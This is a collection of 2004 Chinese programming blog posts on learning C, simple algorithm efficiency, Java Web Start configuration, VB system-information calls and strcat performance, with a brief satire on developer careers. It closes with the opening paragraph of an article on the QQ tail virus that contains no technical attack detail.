2004年04月24日

原作:titilima(李马)


  回头望望自己学习C语言已有一年半了,在此我将这一年半以来的体会和心得写下来,希望能给在C语言之中摸索的朋友们一点帮助。本文分上、中、下三篇:上篇为想“学会”的朋友准备,已入门而想更进一步的朋友可以参考中篇,最后的下篇留给诸位一笑——权当我之聒噪。


上篇


  首先请你欢呼三分钟,因为如果你照着我的经验去做,那么你完全可以就此告别考前突击背程序的痛苦生活;然后请你再郁闷三分钟,因为你不得不从今天开始就面对这一门不好学的语言。
  现在我来说一说我对程序设计语言的理解。程序设计语言是一种帮助人类解决问题的工具,但前提是人必须完全从计算机的角度去考虑问题——原因很简单:计算机是个只有蛮力的傻瓜,你让它去打狗它肯定不会顺便去把鸡撵了。
  至于C语言的特点我也不加详述,因为我知道诸位的大多数对这些完全没有兴趣。以我初学的经验看,学入门后再去体会这些特点才是一个正确的顺序。
  那么,该介绍学习C语言的教程了。这里我极力向你推荐的是清华谭浩强老师那本著名的《C程序设计》,性价比极高的一本书。也许你曾经在网上或者某些程序员嘴里听到过一些对这本书的价值发生质疑的说法,但是我还是坚持我的意见,你一定要学这本书。我并不回避,这本书在中国的代码界的确存在着很大的争议。然而,作为一本入门书籍,它是你最佳的选择。从易懂程度来讲,《C程序设计》十分符合国人的思维接受习惯;从内容上来讲,它花了很大的篇幅教给你如何从计算机的角度去考虑问题——从这两点来讲我极力把它推荐给初学者。
  几乎每一个程序员都会告诉你:只看书是学不会编程的。所以,在拥有了教程之后,你唯一要做的事情就是练习练习再练习。在最初的阶段,你可以把书上的程序输入计算机运行,不过在输入的过程中请注意一点:因为你不是职业打字员,所以你要在打字的同时进行思考,这样才能够让程序运作的流程在你的脑中打下烙印。
  在你输入了数十个程序,初步弄懂了C语言语法特征和程序流程之后,不知道你现在是否有一种用编程来解决实际问题的冲动,如果你回答“是”,那么祝贺你,你绝对是一块学编程的好料,因为你能在其中获得快乐。程序员痴迷于编程的原因并不仅仅是因为这项工作的薪水,更多的是编程之后的满足感和成就感。
  好了,现在我该向你推荐另外一本书了——虽然我极为不乐意(原因将在下篇解释)——就是一本C语言考试的题典,这本书就是用来检验你这么长时间以来学习成果的最权威用品了。这里我要指出的一点是,由于这种书是纯为考试所编,所以在遇到了百思不得其解的古怪答案的时候,请你背答案。
  到了这里,不知道你现在的心情是踌躇满志还是仍有怀疑,——不过不管怎样,上路吧,相信你自己。


中篇


  我曾经在上篇中让上篇的读者先欢呼三分钟在郁闷三分钟,不过到了中篇我只能说:你很不幸,因为你在本篇无权选择欢呼。
  学到这里,相信你也已经体会到了C语言区别于其它高级语言的一个最大特点就是它能够对底层进行操作——也就是它的指针。如果要征服C语言,那么征服指针是你必须翻过的一座大山。噢,先不要计划退缩,其实指针并没有那么可怕,只要你付出足够的时间和耐心。
  首先请你做的事情就是抛弃你手头上的TC而改用VC,因为作为调试器来讲,VC能够让你更直观地看到所有变量的情况。当你一步一步移动指令光标的时候,这些详细的汇报材料能够使那些不正常的值改变尽收于你的眼底。通过这样的调试器,加上一些对于内存的操作(比如自己实现一些字符串函数之类),相信你完全能够在几个月中掌握堆和栈的秘密。而且,这个时候可以友情客串地学一学汇编语言,这样你更能理解C代码中一些不为你所知的秘密。
  好了,祝贺你坚持到现在。那么松口气儿,回头看看学会的东西吧,可能会有些成就感了吧?OK,试试看抱着轻松的心态把以前的《C程序设计》重新看一遍,会有什么感受呢——我想,大概你读着读着就会发出会心的微笑了,你是快乐的。
  一张一弛,一松一紧。下面我严肃地告诉你,你有些东西需要重头再来了。
  第一,你需要有一个良好的编码风格,因为在很多情况下你需要在若干时间以后重新修改你的代码。这就要求你在写代码的时候有一个整齐的版式,明了的注释也是必须的。
  第二,良好的编程修养。资源的申请与释放、条件的配对情况、恰当的算法选择……这些东西都需要你做得井井有条。这一方面你可以参考林锐的《高质量C/C++编程指南》,虽然这本书在网上的争议也很大——不过相信我,这本书是本好书。
  经过了一年左右的修炼,现在的你应该举手投足都有了样子。祝贺你,因为你现在可以充分享受编程的快乐了。


下篇


  这里是我的一些闲话,然而我则奢望它能够起到超过闲话的作用。
  1、中国的计算机等级考试。等级考试可能是最为中国程序员所不齿的东西了,因为它考的东西完全和程序的精神背道而驰。频繁地考一些繁琐、古怪、冷僻的编码风格,散发着一股中国科举孔乙己的腐臭味道。
  2、某些C程序员有些倾向于偏执狂——效率是他们第一位的选择,正因为如此他们中很多人会鄙视带有运行库的VB、大个头EXE的Delphi。我则希望你平等看待这些编程语言,因为一则我们只看重结果,二则大家最后生成的二进制代码是一样的。
  3、程序 = 数据结构 + 算法,你会发现这个著名的等式中并没有程序设计语言。也就是说,如果你将编程思想谙熟于心,那么别的语言也可以很快上手。
  4、回眸看看你最初的“Hello, World”,一定感慨颇多吧?我说过了,本文就是我回眸初学C语言而得到的感受,应该和你现在的感受一样。

原作:titilima(李马)


  很多有关编程的书上说过,算法的高速与代码的短小往往是不可兼得的;特别是在当前的硬件环境(高速的CPU与大容量的硬盘)下,不必计较算法是否既是最快的又是最短的,一般来说,能达到二者之一就行了。然而我认为,在某些情况下,鱼与熊掌是可以兼得的——只需在算法中做一点人为的“手脚”。以下我将用一个简单的例子来谈这个问题,但我的前提是我决不使用那种spaghetti式的算法,即使能够获得高效的代码。
  例:求1+2+3+……+100。
  解1:用for循环来求(用C++来实现算法,下同)。
  #include <iostream.h>
  void main(void)
  {
   int i, sum = 0;
   for (i = 1; i < 101; i++)
    sum += i;
   cout << “sum = ” << sum << endl;
   return;
  }
  解2:用递归来求。
  #include <iostream.h>
  int getsum(int);
  void main(void)
  {
   int sum = getsum(100);
   cout << “sum = ” << sum << endl;
   return;
  }
  int getsum(int x)
  {
   if (x == 1)
    return 1;
   else
    return (x + getsum(x – 1));
  }
  很明显,以上两种算法中解2的效率较低,因为在递归中消耗了太多的系统资源。解1的效率确实很高,然而我要告诉你,它并不是效率最高的算法!现在请看我的代码,是我从一本入门级的教材上得到的灵感:
  #include <iostream.h>
  void main(void)
  {
   int sum = (1 + 100) * 100 / 2;
    cout << “sum = ” << sum << endl;
   return;
  }
  是的,这是高斯求和公式。但你看了这样的”算法”,也许会很不舒服,并告诉我:这不能算做一个好的算法,因为它没有体现出计算机的优越性。没错,你说得很对,那本教材举的这个例子也正是反例,并且不提倡这样编程,理由正如你所说的一样。
  但是,不管你乐意不乐意,你都必须承认:这段代码是合法的,并且它不是spaghetti,可读性也很强;最重要的一点是它的效率非常高——它没有做100次循环,只做了三步运算,而且还节省出了一个变量(i)的存储单元。
  教材是教材,编程是编程。教材的目的是让你设计出如何让计算机做更多工作的算法,而你甚至可以连高斯求和公式都不必知道,只让计算机不厌其烦地循环100次;编程的目的是以尽可能高效的算法得到正确答案,而不必计较应该采用循环还是高斯求和公式。然而两者又不能完全分离:如果一个程序员只注重前者,那么他的代码难免冗长或低速;如果他一味追求后者,那么他难免写出没几人看懂的高效spaghetti。
  我想谈的东西到此为止。总之在程序的设计中,在特定的情况下,完全可以采用类似的方法来提高效率,这没有什么不好——毕竟,程序是用来求解的,而不是用来体现计算机的优越性的。从这里说开去,如果让你设计一个程序,打印1~100的素数,你如何处理“2”呢?
  当然,如果针对本例(高斯数列)而言,最高效的代码应该如下:
  #include <iostream.h>
  void main(void)
  {
   cout << “sum = ” << 5050 << endl;
   return;
  }
  本文纯属个人意见,仅供参考。:)

原作:totti0115


可能现在很多人对java感兴趣,不管你现在用的是1.3,还是1.4版,我想大家对java web还是有些迷惑,所以把我遇上的一些常见的问题给大家聊聊,当是投石问路:
实现Java Web Start可能需要注意下面的问题:
1. JDK1.4版本中已经自带了Java Web Start,但还需要手工找到JDK1.4的目
录运行其中的javaws***安装文件来安装Java Web Start.安装后会出现如
d:\program files\Java Web Start的目录,注意以后在网上运行Java
Web Start的程序后都会将程序下载到该目录的.javaws/cache目录下。


2. 要注意配置web sever,例如采用JRun就需要配置Web application –> Demo –> MIME Type Mapping,在其中要增加新的MIME类型:
jnlp : application/x-java-jnlp-file
jar : application/x-java-jnlp-file
其他的web sever如tomcat,可能要手工修改web.xml文件,增加如下:
  <MIME Type>
application/x-java-jnlp-file
</MIME Type>
如果不进行上面的配置就直接在浏览器中运行*.jnlp文件就只会显示*.jnlp中的文本,其实上面的过程就相当于给.jnlp后缀加上关联,确保在浏览器中能返回正确的MIME类型。


3. JNLP文件的格式
===================================
‘ 指定j2se版本1.0,’UTF-8′为编码格式,这个代码一般不需要改动.  
<?xml version=”1.0″ encoding=”UTF-8″?>
‘ 指定server端的主目录
<jnlp codebase=”
http://localhost:8100/demo/JavaWebStart“>
<information>
’设置一些信息,包括:标题、提供商、描述、主页等
<title>MyIE</title>
<vendor>RookieSoft Corporation</vendor>
<description>MyIE just demo how to program with jnlp.</description>
<homepage href=”
http://localhost:8100/demo/JavaWebStart” />
<icon href=”./../images/rookie.gif”/>
<icon kind=”splash” href=”./../images/logo.gif”/>
<offline-allowed/>
</information>
‘ 有的时候还需要设置安全规则,如all-permission表示允许所有操作,包括本地文件访问等,这里不需要设置.


<resources>
‘ 指定j2se版本
<j2se version=”1.3+”/>
 ’指定要下载到本地的jar文件(注意,所有的文件都需要打包才能够下载)
<jar href=”MyIE.jar”/>
</resources>
‘ 指定运行时的main class
<application-desc main-class=”MyIE”/>
‘ 还可以指定运行的参数,可以有多个参数,并列的书写就可以了.
<argument>arg1</argument>
</application-desc>
</jnlp>
===================================


 


** 下载资源错误


 在使用Java Web Start的时候可能会出现”下载资源错误”,大致的出错信息如下:


*******************************************************
JNLPException[category: Download Error : Exception:
java.io.IOException:
rename failed in cache : LaunchDesc: null ] at…..
*******************************************************


这个错误的原因是因为每次调用Java Web Start都会到server上查找程序是否更新,然后将程序下载到本地的java web start目录下的cache目录中,如果cache中
已经有同名文件,而且该文件正在被使用,那么新下载的文件就会出现 rename failed错误,而且手工去删除本地的文件还会报错:文件正被使用!,这里涉及到Java
Web Start中的sign机制,可能对每个jar文件都需要标记,有的时候会在任务管理器中看到javaw.exe在运行,将该程序终止后就可以将本地的jar文件删除掉,说明这
些本地文件可能还保留着文件锁定吧!有时即使将Task Manager中将所有的java程序都kill掉还是会出错,必须要注销windows才可以,不知道是不是Java Web Start
自身的问题.


** argument
如果需要给*.jar文件传递参数,可以用如下代码:
<application-desc main-class=”XBFrame”/>
<argument>-port</argument>
<argument>1008</argument> ‘ 要注意-port 和1008是两个参数,要分开写.
</application-desc>


** jws console
有的时候还需要看到*.jar中System.out.print语句输出的信息,就要打开jws的console,可以在jws manager 中的首选项中设置.



** security
java web start中对本地文件操作、访问远程数据库等操作都进行了安全限制,如果要实现这些操作,一般要在jnlp中增加代码:
<security>
<all-permissions/>
</security>
以上代码表示允许所有的操作,但要实现这一点,还需要对*.jar文件进行sign操作,也就是安全签名,可采用
jdk中自带的keytool和jarsigner工具来进行签名,步骤如下:


** keytool
  例如:keytool -genkey -alias MySelf -keypass 888888
‘ -alias 表示产生一个化名,要记住这个化名,后面要用到
‘ -keypass 输入一个密码就可以了


一般会产生keystore文件,keytool还有一些其他选项,可以在console中查看帮助.


** jarsigner
例如:jarsigner -alias MySelf ***.jar
jarsigner表示对jar程序进行签证.只有经过签证的程序才可以设置all-permissions属性。


** 根认证
jws manager中的首选项中还可以选择根认证.


** Certificate
jarsigner中默认采用了RSA和DSA的加密算法,有些公司也希望能自己购买Certificate文件,不过两种方式都应该可以运行,一般第一次运行java web start程序
时会弹出对话框要用户确认是否承认该认证。


** 最后说明
  因为对JWS也是一个新手,所以很多问题也只是表面的认识,如果有表达不当或理解肤浅的地方,请多包涵

原作:耗子


——”如果你的应用程序不能正确地运行,不要去责怪操作系统。” 2001年,当SUN提出SUN.ONE构架的那一天,XX大学毕业的牛在“牛狼之家”聊天战碰到了一个公司的Coder
——————————————————————-
牛: 你懂XXX协议、YYY框架、ZZZ思想吗
coder:稍微知道一点点
牛: 那你看过XX牛的《XXXX》第X版第X卷,YY牛的《YYYY》第Y版第Y卷,ZZ牛的《ZZZZ》第Z版第Z卷吗
coder:你说的这些书都是《经典书籍》,不过我大都没认真看过
牛: 这么说,你对XXX协议、YYY框架、ZZZ思想的底层细节应该不是很了解哦
coder:可以这么说
牛: 你具体做什么项目,
coder:做X2X网站
牛: 你说你不懂XXX协议、YYY框架、ZZZ思想的底层细节,那么你们做X2X网站时,碰到XXX问题你怎么解决的
coder:很简单,我们会给XX、YY大学的牛发Email,叫他们给我们解XXX组件。很方便的。
牛: 如果没人肯帮你们解XXX组件呢
coder:不会的,每次都有N多牛排长对呢。再说了,到Internet上Search一下,买XXX组件的公司成堆
牛: 好了,好了,我再问你,你都用什么语言开发呢
coder:用ASP+VB
牛: 你只不知道MS已经不再支持VB+ASP了,改为C#+MS.NET
coder:在聊天室里听牛说过
牛: 那你为什么还要用VB
coder:C#,JAVA我不懂 ,所以我用VB
牛: 唉,又来了,基础的XXX协议、YYY框架、ZZZ思想的底层细节你说你不太懂, 前沿的C#, MS.NET;JAVA,SUN.ONE你又不懂,你难道没想过要好好学学吗
coder:我有想过啊
牛: 那你为什么不学呢
coder:我没有时间
牛: 你的时间都到哪儿去了
coder:用VB+ASP编代码赚钱啊
牛: 赚钱干吗
coder:供我儿子出国读大学
牛: 读研究生
coder:不是,是读本科
牛: 读本科就出去读,没必要吧
coder:在XXX协议、YYY框架、ZZZ思想的底层细节方面,国内经常生产牛的最牛的XX 大学刚刚入门,在****方面连门都没入。我知道我儿子是块搞技术的料,所以我想要让我儿子系统掌握XXX协议、YYY框架、ZZZ思想的细节,精通前沿的…
(听到Coder批评牛毕业的XX大学,牛有点生气了,开始不客气起来)
牛: 你知不知道,你没有XXX协议、YYY框架、ZZZ思想的底层细节,是写不出完美的代码出来的。还有,像你这样,虽然现在可以赚一点小钱,但四年后肯定要被淘汰的……
coder:在我淘汰之前,我就不想干了
牛: 那你去干嘛
coder:我想开一家软件公司,招很多牛,包括精通XXX协议、YYY框架、ZZZ思想的底层细节的牛,精通MS.net SUN.ONE的牛……
牛: 好笑!
———————————————————————-
4年后,软件业VB已经彻底绝迹,XXX协议、YYY框架、ZZZ思想的底层细节已经被大量修改,MS.net和SUN.ONE也快倒掉的时候…….
牛: (XXX公司CTO办公室里,看着www.xxx.com上的新闻) 啊! MS.net和SUN.ONE真要倒掉了吗?看来偶要继续充电了…….
coder:(XXX公司CEO办公室里,看着www.xxx.com上的新闻) 哦,MS.net和SUN.ONE果真快倒掉了。看来我要招聘新的CTO和Coder了…
谁也不知道,XXX公司的CTO和CEO就是当年在“牛狼之家”聊天战聊天的牛和Coder。
很多人自以为什么都知道—的确有很多牛从协议细节到当前潮流到开发环境….
样样都精通,但那是少数—可是却偏偏不知道自己正真需要的是什么,自己最需要的又是什么,自己为什么要去知道这么多东西。
有的人知道的的确不多,但是他知道他最需要的是什么。他知道他时间不多,只能去争取他最需要的东西。
以后的社会分工会越来越细,没必要也没有可能什么都懂,开飞机的显然不必知道流体力学—虽然流体力学毫无疑问是飞机飞上天的基础;装配飞机的显然不必知道采购来的发动机具体是如何把航空油变成动力输出的—-虽然这是飞机可以开动的基础。
一样,用COM+或者EJB组件构造企业系统,你根本没有必要知道这个COM+或者EJB组件是如何处理底层TCP/IP连接的。组件生产者关心的是实现细节–稳定性,效率,安全……至于你,就去关心企业业务流程好了,即使不明白什么是TCP/IP,什么是IPv6也没有关系。

原作:hcj(流浪者)


  这学期开VB,为了熟悉VB的环境,我决定写一个简单的东西来熟悉VB的编程环境.不过写了一点的时候就发现需要用到API函数才能完成程序所完成的功能,所以又学习以下API函数的使用(主要是关于注册标的操作).下面就如何在VB下利用API函数获得系统信息的方法,希望对大家的学习有所帮助.
  首先是获得当前用户的用户名,用的是API函数GetComputerName ,该函数在VB中的声明是:
Declare Function GetComputerName Lib “kernel32″ Alias “GetComputerNameA” (ByVal lpBuffer As String, nSize As Long) As Long (注意:VB中API函数的声明必须在一行上,还有窗体层内定义的API函数都应该定义成Private 的,不然编译是就会出错.另外,顺便说一下,VB虽然也支持面向对象的编程,但只能是实现面向对象的部分功能).
  其参数说明如下:
  lpBuffer String,随同计算机名载入的字串缓冲区;
  nSize Long,缓冲区的长度。这个变量随同返回计算机名的实际长度载入;
  其实现过成如下:
Dim len As Long ‘computer 名字的长度
Dim aa As Long ‘返回函数调用是否成功,TRUE(非零)表示成功,否则返回零
Dim cmprName As String ‘计算机名(当前用户的用户名)的字符串
cmprName = String(255, 0)
len = 256
aa = GetComputerName(cmprName, len) ‘取得这台计算机的名称
cmprName = Left(cmprName, InStr(1, cmprName, Chr(0)) – 1)
cname.Caption = cmprName ‘将计算机当前用户名输出在cname标签上(以下都是用标签做输出).
  接着就是CPU的信息了.在API函数中好象没有直接关于CPU的信息(虽然我对API函数知道的有现,但我查了一下,没有,不知道是不是有我没有找到).既然没有直接关于CPU信息的API函数,我就想到注册表里面肯定有CPU的相关信息.我查了一下注册表,发现有关CPU的信息都在键”HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\system\CentralProcessor\0″下,关于CPU有的型号在”ProcessorNameString”里面.接下来就是如何读取注册表的值了.VB中用RegOpenKey和RegQueryValueEx两个api来完成读取注册表的值.其中RegOpenKey是打开注册表中一个指定的键;RegQueryValueEx函数来读取某个Key的指定名称的值(value),这两个函数的声明及参数说明如下:
Declare Function RegOpenKey Lib “advapi32.dll” Alias “RegOpenKeyA”
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  参数类型及说明:
hKey:Key Handle
lpSubKey:SubKey名称或路径
phkResult:若RegOpenKey执行成功,则这一参数返回Subkey的hKey.返回值: =0,表示成功;≠0,表示失败。[注意这一点与别的API函数不太一样]
Declare Function RegQueryValue Lib “advapi32.dll” Alias “RegQueryValueA” (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As Long
  参数类型及说明:
hKey: Key Handle
lpSubKey:SubKey名称路径
lpValue:返回读取的Default Value
lpcbValue:传入lpValue参数的长度,若成功读取了默认值default value,则返回default value字符串的长 度(含chr(0))这个和C语言中字符串的处理相似,都是以chr(0)作为结束符。返回值: =0,表示成功;≠0,表示失败。
  具体实现如下:
Dim hKey As Long
Dim ret As Long
Dim lenData As Long
Dim typedata As Long
Dim name As String
Dim cpu As String
Const HKEY_LOCAL_MACHINE = &H80000002 ‘定义常量HKEY_LOCAL_MACHINE的值(请参阅MSDN)
name = “ProcessorNameString”
ret = RegOpenKey(HKEY_LOCAL_MACHINE, “HARDWARE\DESCRIPTION\system\CentralProcessor\0″, hKey)
If ret = 0 Then
ret = RegQueryValueEx(hKey, name, 0, typedata, ByVal vbNullString, lenData)
End If
ret = RegQueryValueEx(hKey, name, 0, typedata, ByVal vbNullString, lenData)
cpu = String(lenData, Chr(0))
RegQueryValueEx hKey, name, 0, typedata, ByVal cpu, lenData
  接下来就是内存的信息了,获得内存信息用的是GlobalMemoryStatus函数,再用之前先说明以下关于内存的结构体MEMORYSTATUS,其实现如下:
Type MEMORYSTATUS ‘指向内存的结构体
dwLength As Long ‘MEMORYSTATUS的大小
dwMemoryLoad As Long ‘内存利用百分比
dwTotalPhys As Long ‘物理内存大小
dwAvailPhys As Long ‘可用物理内存的大小
dwTotalPageFile As Long ‘页面文件的大小
dwAvailPageFile As Long ‘可用页面文件的大小
dwTotalVirtual As Long ‘虚拟内存大小 ??
dwAvailVirtual As Long ‘可用虚拟内存大小 ??
End Type
具体实现内存如下:
Dim mem As MEMORYSTATUS
GlobalMemoryStatus mem
MemSize.Caption = “物理内存:” & CInt(mem.dwTotalPhys / 1024 / 1024) & “M”
MemSize.Caption = MemSize.Caption & ” 可用物理内存: ” & CInt(mem.dwAvailPhys / 1024 / 1024) & “M” & vbCrLf
MemSize.Caption = MemSize.Caption & vbCrLf
‘ MemSize.Caption = MemSize.Caption & “虚拟内存大小: ” & CInt(mem.dwTotalPageFile / 1024 / 1024) &
‘ “M”
  最后就是如何得OS版本:用API函数仅能得到WINDOWS的内部版本如得到WIN XP的版本是5.1,至于如何把它转化成WIN XP,
在这里就不多讲,具体实现如下:
Type OSVERSIONINFO ‘指向WINDOWS版本信息的结构体
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128 ‘ Maintenance string for PSS usage
Osname As String ‘os名称


Private Function GetWindowsVersion() As OSVERSIONINFO ‘得到系统版本


Dim ver As OSVERSIONINFO
ver.dwOSVersionInfoSize = 148
GetVersionEx ver
With ver
Select Case .dwPlatformId
Case 1
Select Case .dwMinorVersion
Case 0
.Osname = “Windows 95″
Case 10
.Osname = “Windows 98″
Case 90
.Osname = “Windows Mellinnium”
End Select
Case 2
Select Case .dwMajorVersion
Case 3
.Osname = “Windows NT 3.51″
Case 4
.Osname = “Windows NT 4.0″
Case 5
If .dwMinorVersion = 0 Then
.Osname = “Windows 2000″
Else
.Osname = “Windows XP”
End If
End Select
Case Else
.Osname = “Failed”
End Select
End With
GetWindowsVersion = ver
End Function
  这就是我用VB得到系统信息的程序实现过程,虽然程序很简单,但我还是学到了很多.其实有一个更简单的方法就是用shell函数调用Windows自带的系统信息函数,调用格式如下:
shell “C:\Program Files\Common Files\Microsoft Shared\MSINFO\msinfo32.exe”,顺便说一下,shell函数可调用所有的可执行程序,在shell后面加上所有可执行程序的路径就可以了.
  最后,我觉得学习的过程中,相互学习的过程是很重要的,就那上面的程序来说吧,其中关于如何得到OS版本的东西就是从CSDN的一篇帖子里学到的.
  不知道这些东西对大家有没有帮助,但愿有吧! 欢迎大家和我讨论关于计算机方面的知识,当然其他任何方面也都可以.我的邮箱是:HCJ_2005@163.COM,QQ:250484418


RE by titilima(李马)
作者的原创精神十分可嘉!希望作者能换一个头像,以保证文章整体的美观(呵呵~~)。希望大家能够多发一些类似的起点不高但离我们距离较近的原创贴子,我将优先考虑将这些贴子加为精华!


PS:关于作者提到的两个问题
1、获得系统信息的问题。我个人认为从注册表中读取系统信息是不可靠的,因为注册表本身是一个开放的环境,可以被随意地修改,所以获得的数据就不完全可信,我在此介绍一个API函数GetSystemInfo,这个函数可以获得系统信息:
VOID GetSystemInfo(
LPSYSTEM_INFO lpSystemInfo // 指向系统信息结构的指针
);
至于SYSTEM_INFO结构的详细介绍,请大家自己参阅MSDN。


2、关于判断Windows系统的版本
通常我所使用的函数是GetVersion,这个函数的声明如下:
DWORD GetVersion(VOID);
诸位可以发现它较之GetVersionEx更为简单,因而也开销较少。
它的返回值为一个32位的DWORD值,具体说明如下:
最高的一位如果为0,则为NT系统。
低位字中保留着版本号,其中高八位为次版本号,低八位为主版本号。
如果为NT系统,则高位字为构建数字,
如果主版本号小于4,则说明为Win32s系统,构建数字为忽略最高位的高位字。
舍此之外的情况,说明为Windows 95,构建数字为0。

原作:titilima(李马)


  去年的时候,由于某种原因,我需要将一个文件的二进制形式以文本的格式输出到一个文本文件中,类似下面这个样子:
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 D0 00 00 00
0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
……
  我想的很简单:打开文件,读取文件,用一个循环,对每个字节使用wsprintf,然后用lstrcat连接起来,写文件,搞定。于是我很容易地得到了以下这段毫无语法错误的代码:
// 注1:你可以将其中的几个未定义变量理解为全局变量。
// 注2:NEW是我定义的一个宏函数,仿照了C++ 的operator new。
// #define NEW(type, count) (type *)(malloc(sizeof(type) * (count)))
void Save(void)
{
  DWORD dwSize, dwReaded, i;
  TCHAR szByte[5];
  // 读取源文件
  hFileSrc = CreateFile(szFileSrc, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
  dwSize = GetFileSize(hFileSrc, NULL);
  lpbySrc = NEW(BYTE, dwSize);
  ReadFile(hFileSrc, (LPVOID)lpbySrc, dwSize, &dwReaded, NULL);
  // 下面的MYSIZE是一个指示缓冲区大小的宏,由于计算大小较为繁琐且与本文无关,所以此处略去
  lpDst = NEW(TCHAR, MYSIZE);
  *lpDst = ‘\0′;
  for (i = 0; i < dwSize – 1; i++)
  {
    if (i % 16 == 15) // 处理换行
      wsprintf(szByte, “%02X\r\n”, lpbySrc[i]);
    else
      wsprintf(szByte, “%02X “, lpbySrc[i]);
    lstrcat(lpDst, szByte);
  }
  // 处理最后一个字节
  wsprintf(szByte, “%02X”, lpbySrc[i]);
  lstrcat(lpDst, szByte);
  free(lpbySrc);
  lpbySrc = NULL;
  CloseHandle(hFileSrc);
  // 保存到目标文件
  hFileDst = CreateFile(szFileDst, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
  WriteFile(hFileDst, (LPCVOID)lpDst, lstrlen(lpDst) * sizeof(TCHAR), &dwReaded, NULL);
  free(lpDst);
  lpDst = NULL;
  CloseHandle(hFileDst);
}
  当把这段代码拉上阵的时候,我发现虽然它可以正常工作,结果也是我想要的,但是它处理文件的速度慢得出奇,甚至文件的大小相差几十K都会有明显的速度差距!我再次浏览了一遍我的代码,还是没有发现什么致命的错误。我灵机一动,心想还好我用的是GUI界面,于是我没费多少力气,在这个线程中加了几行代码和一个Progress Bar,继续编译运行。
  这次的结果出来了,我发现指示字节处理进度的那个Progress Bar越往后走进展速度越慢。我恍然大悟,打开了VC附带的strcat源码:
char * __cdecl strcat (char * dst, const char * src)
{
  char * cp = dst;


  while( *cp )
    cp++; /* find end of dst */


  while( *cp++ = *src++ ) ; /* Copy src to end of dst */


  return( dst ); /* return dst */


}
  这个过程很明了,先查找字符串末尾的结束符,然后再进行字符串的复制。那么在我的代码中,每完成一次循环,lstrcat就要不厌其烦地去寻找一遍结束符,然后再进行复制——这也就造成了很多无用功,也就是Progress Bar越走越慢的原因。
  在知道了硬伤所在之后,我决定以空间换时间——借用一个变量指向目标字符串的末尾,手动实现字符串的连接。于是我写就了以下代码:
void Save(void)
{
  DWORD dwSize, dwReaded, i, j, k;
  TCHAR szByte[5];
  // 读取源文件
  hFileSrc = CreateFile(szFileSrc, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
  dwSize = GetFileSize(hFileSrc, NULL);
  lpbySrc = NEW(BYTE, dwSize);
  ReadFile(hFileSrc, (LPVOID)lpbySrc, dwSize, &dwReaded, NULL);
  // 下面的MYSIZE是一个指示缓冲区大小的宏,由于计算大小较为繁琐且与本文无关,所以此处略去
  lpDst = NEW(TCHAR, MYSIZE);
  *lpDst = ‘\0′;
  j = 0;
  for (i = 0; i < dwSize – 1; i++)
  {
    if (i % 16 == 15) // 处理换行
    {
      wsprintf(szByte, “%02X\r\n”, lpbySrc[i]);
      k = 4;
    }
    else
    {
      wsprintf(szByte, “%02X “, lpbySrc[i]);
      k = 3;
    }
    lstrcpy(&lpDst[j], szByte);
    j += k;
  }
  // 处理最后一个字节
  wsprintf(szByte, “%02X”, lpbySrc[i]);
  lstrcpy(&lpDst[j], szByte);
  free(lpbySrc);
  lpbySrc = NULL;
  CloseHandle(hFileSrc);
  // 保存到目标文件
  hFileDst = CreateFile(szFileDst, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
  WriteFile(hFileDst, (LPCVOID)lpDst, lstrlen(lpDst) * sizeof(TCHAR), &dwReaded, NULL);
  free(lpDst);
  lpDst = NULL;
  CloseHandle(hFileDst);
}
  按说代码写到这里也就该结束了,不过这个话题的确值得就此说开去——可以说,导致上文这种麻烦的“罪魁”,就是C-style string本身的“零结尾”机制。那么我再列出一段代码以供诸位一品:
void CString::ConcatCopy(int nSrc1Len, LPCTSTR lpszSrc1Data, int nSrc2Len, LPCTSTR lpszSrc2Data)
{
  // — master concatenation routine
  // Concatenate two sources
  // — assume that ‘this’ is a new CString object


  int nNewLen = nSrc1Len + nSrc2Len;
  if (nNewLen != 0)
  {
    AllocBuffer(nNewLen);
    memcpy(m_pchData, lpszSrc1Data, nSrc1Len*sizeof(TCHAR));
    memcpy(m_pchData+nSrc1Len, lpszSrc2Data, nSrc2Len*sizeof(TCHAR));
  }
}

  如你所见,这是MFC Framework中的CString源码片断。CString为了避免寻找结尾可能造成的尴尬,它的连接函数使用了memcpy而不是strcat/lstrcat,并且由参数给定的字串长度直接确定了字串的尾部位置。那么,可以用CString::operator+=来完成上边的操作吗?
  答案还是不可以。我的确说过CString避免了寻找结尾的尴尬,但是CString却带来了另外一个尴尬——重复复制的尴尬。CString::operator+=归根结底是调用了上边的CString::ConcatCopy,并且调用一次CString::ConcatCopy就意味着调用memcpy两次,所以用CString::operator+=则是更得不偿失的一种方法。


  无论是C的字符串处理函数还是用C++构造的字符串类,都可以看作是一种“黑箱”。在一般情况下,用户无需了解黑箱内部的实现机理,只要假设“黑箱”是完美的并直接使用就可以了。然而事实上黑箱本身并不是完美万能的——即使这种黑箱是C/C++标准库,也许令你摸不着头脑的错误,就隐藏在那看似完美的黑箱背后。

原作:titilima(李马)


  声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。
  2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。下图就是染毒后的QQ发送的消息,其中中毒者只打了“你好”两个字,其它的就全是病毒的杰作了。



